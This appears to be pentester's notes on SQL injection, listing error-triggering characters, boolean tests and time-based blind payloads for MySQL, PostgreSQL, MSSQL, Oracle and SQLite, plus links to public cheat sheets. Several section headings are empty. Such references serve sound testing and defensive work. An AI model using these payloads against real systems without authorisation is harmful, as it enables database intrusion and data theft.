SQL Injection

Entry point detection

Error Messages

'
%27
"
%22
#
%23
;
%3B
)

Logical Operations

1 or 1=1  -- true
1 and 1=2 -- false

Time/Blind

-- MySQL --
sleep(10)

-- PostgreSQL --
pg_sleep(10)

-- MSSQL --
WAITFOR DELAY '0:0:10'

-- Oracle --
[RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

-- SQLite --
[RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

DBMS Identification

Authentication Bypass

Cheatsheets

References

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection https://book.hacktricks.xyz/pentesting-web/sql-injection https://pentestmonkey.net/category/cheat-sheet/sql-injection